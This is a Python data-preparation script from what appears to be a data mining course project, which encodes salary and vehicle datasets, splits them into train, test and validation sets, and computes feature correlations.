def store_sets(X_train, X_test, y_train, y_test, columns):
    file_path_X_train = '../../data/processed/X_train.csv'
    file_path_y_train = '../../data/processed/y_train.csv'
    file_path_X_test = '../../data/processed/X_test.csv'
    file_path_y_test = '../../data/processed/y_test.csv'
    file_path_columns_names = '../../data/processed/columns_names.pickle'

    savetxt(file_path_X_train, X_train, delimiter=',')
    savetxt(file_path_y_train, y_train, delimiter=',')
    savetxt(file_path_X_test, X_test, delimiter=',')
    savetxt(file_path_y_test, y_test, delimiter=',')

    columns = columns[:-1]
    # print("Features Names", columns)
    open_file = open(file_path_columns_names, "wb")
    pickle.dump(columns, open_file)
    open_file.close()

def store_vehicle_sets(X, Y, X_train, X_test, y_train, y_test):
    file_path_X = '../../data/interim/vehicle/X.csv'
    file_path_y = '../../data/interim/vehicle/Y.csv'
    file_path_X_train = '../../data/interim/vehicle/X_train.csv'
    file_path_y_train = '../../data/interim/vehicle/y_train.csv'
    file_path_X_test = '../../data/interim/vehicle/X_test.csv'
    file_path_y_test = '../../data/interim/vehicle/y_test.csv'

    savetxt(file_path_X, X, delimiter=',')
    savetxt(file_path_y, Y, delimiter=',')
    savetxt(file_path_X_train, X_train, delimiter=',')
    savetxt(file_path_y_train, y_train, delimiter=',')
    savetxt(file_path_X_test, X_test, delimiter=',')
    savetxt(file_path_y_test, y_test, delimiter=',')

def x_y_split(df):
    # print("Columns", df.columns)
    # Separating the target variable
    X = df.values[:, 0:(len(df.columns) - 1)]
    Y = df.values[:, -1]
    # print("X", X)
    # print("Y", Y)
    return X, Y

def x_y_train_test_split_and_store(df, test_size):
    X, Y = x_y_split(df)
    file_path_X = '../../data/processed/X.csv'
    file_path_y = '../../data/processed/y.csv'
    savetxt(file_path_X, X, delimiter=',')
    savetxt(file_path_y, Y, delimiter=',')

    # Splitting the dataset into train and test
    X_train, X_test, y_train, y_test = train_test_split(X, Y,
                                                        test_size=test_size,
                                                        random_state=100)
    store_sets(X_train, X_test, y_train, y_test, df.columns)
    return X, Y, X_train, X_test, y_train, y_test

def vehicle_x_y_train_test_split_and_store(df, test_size):
    X, Y = x_y_split(df)
    # Splitting the dataset into train and test
    X_train, X_test, y_train, y_test = train_test_split(X, Y,
                                                        test_size=test_size,
                                                        random_state=100)
    store_vehicle_sets(X, Y, X_train, X_test, y_train, y_test)
    return X, Y, X_train, X_test, y_train, y_test

def store_validation_sets(X_validation, y_validation):
    file_path_X_validation = '../../data/processed/X_validation.csv'
    file_path_y_validation = '../../data/processed/y_validation.csv'
    savetxt(file_path_X_validation, X_validation, delimiter=',')
    savetxt(file_path_y_validation, y_validation, delimiter=',')

def x_y_validation_split_and_store(df):
    X, Y = x_y_split(df)
    store_validation_sets(X, Y)

def load_data():
    dict = {}
    list_files = ['training_set', 'validation_set',
                  'validation_set_decision_tree_pruning',
                  'test_set_naive_bayes']
    for file in list_files:
        file_path = f'../../data/raw/{file}.csv'
        df = pd.read_csv(file_path)
        del df['Instance']
        # check_dataset(df)
        dict[file] = df
    df_training_set = dict['training_set']
    df_validation_set = dict['validation_set']
    df_validation_set_decision_tree_pruning = dict['validation_set_decision_tree_pruning']
    df_test_set_naive_bayes = dict['test_set_naive_bayes']

    return df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes

def store_x_test_set(df, file_name):
    # delete target column with NaNs
    del df[df.columns[-1]]
    file_path_test_set = f'../../data/processed/{file_name}.csv'
    savetxt(file_path_test_set, df, delimiter=',')

def encode_sets(df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes):
    df = df_training_set.append(df_validation_set)
    df = df.append(df_validation_set_decision_tree_pruning)
    df = df.append(df_test_set_naive_bayes)
    df_features = pd.get_dummies(df[[df.columns[0],
                                     df.columns[1]]],
                                 prefix={'Education Level': 'education_level',
                                         'Career': 'career'},
                                 drop_first=True)
    df_features[df.columns[2]] = ordinal_encode(df, ['Less than 3', '3 to 10', 'More than 10'], 2)
    df_features[df.columns[-1]] = ordinal_encode(df, ['Low', 'High'], 3)
    df_features.reset_index(drop=True)
    df_training_set = df_features.iloc[0:len(df_training_set)]
    df_validation_set = df_features.iloc[len(df_training_set):(len(df_training_set) +
                                                               len(df_validation_set))]

    df_validation_set_decision_tree_pruning = df_features.iloc[(len(df_training_set) +
                                                                len(df_validation_set)):(len(df_training_set) +
                                                                                len(df_validation_set) +
                                                                                len(df_validation_set_decision_tree_pruning))]
    df_test_set_naive_bayes = df_features.iloc[(len(df_training_set) +
                                                len(df_validation_set) +
                                                len(df_validation_set_decision_tree_pruning)):]

    return df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes

def split_and_store_sets(df_training_set, df_validation_set,
                         df_test_set_decision_tree_pruning,  # same as validation set.
                         df_test_set_naive_bayes, test_size):
    x_y_train_test_split_and_store(df_training_set, test_size)  # first tree
    x_y_validation_split_and_store(df_validation_set)  # pruning tree
    store_x_test_set(df_test_set_naive_bayes, 'x_test_set_naive_bayes')

def load_salary_sets():
    df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes = load_data()
    pie_chart(df_training_set[df_training_set.columns[-1]])

    print(df_training_set)
    print(df_validation_set)
    print(df_validation_set_decision_tree_pruning)
    print(df_test_set_naive_bayes)

    df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, \
    df_test_set_naive_bayes = encode_sets(
        df_training_set,
        df_validation_set,
        df_validation_set_decision_tree_pruning,
        df_test_set_naive_bayes)

    print(df_training_set)
    print(df_validation_set)
    print(df_validation_set_decision_tree_pruning)
    print(df_test_set_naive_bayes)

    TEST_SIZE = 0.3
    split_and_store_sets(df_training_set,
                         df_validation_set,
                         df_validation_set_decision_tree_pruning,
                         df_test_set_naive_bayes, TEST_SIZE)

def load_vehicle_set():
    file_path = f'../../data/raw/veh-prime.arff'
    data = arff.loadarff(file_path)
    df = pd.DataFrame(data[0])
    return df

def encode_class_and_store(df):
    replace_values = {b'noncar': 0, b'car': 1}
    df[df.columns[-1]] = df[df.columns[-1]].replace(replace_values)
    file_path_vehicle_df = '../../data/interim/vehicle/vehicle_df.pickle'
    open_file = open(file_path_vehicle_df, "wb")
    pickle.dump(df, open_file)
    open_file.close()
    return df

def calculate_correlation(df):
    feature_list = df.columns[:-1]
    target_variable = df.columns[-1]
    dict = {}
    for feature in feature_list:
        # [0] because it returns first r and p-value.
        dict[feature] = scipy.stats.pearsonr(df[feature], df[target_variable])[0]
    return dict

def list_features_from_highest_correlation(df):
    dict_correlation = calculate_correlation(df)
    dict_correlation = {k: abs(v) for k, v in
                        sorted(dict_correlation.items(), key=lambda item: abs(item[1]), reverse=True)}
    print("The correlation of the features with the target variable (car or not car), from highest absolute "
          "correlation to "
          "lowest is: \n", dict_correlation)

    features_correlation = pd.DataFrame(dict_correlation.items(), columns=['Features', 'Pearson Correlation'])
    file_path_dict_correlation = '../../data/interim/vehicle/features_correlation.pickle'
    open_file = open(file_path_dict_correlation, "wb")
    pickle.dump(features_correlation, open_file)
    open_file.close()

def load_encode_and_calculate_correlation_vehicle_set():
    df = load_vehicle_set()
    df = encode_class_and_store(df)
    list_features_from_highest_correlation(df)
    return df

def process_vehicle_data():
    df_training_set = load_encode_and_calculate_correlation_vehicle_set()
    test_size = 0.3
    vehicle_x_y_train_test_split_and_store(df_training_set, test_size)

def main():
    load_salary_sets()
    process_vehicle_data()

if __name__ == '__main__':
    main()

data mining/decision tree_KNN_Naive Bayes/src/data/make_dataset.py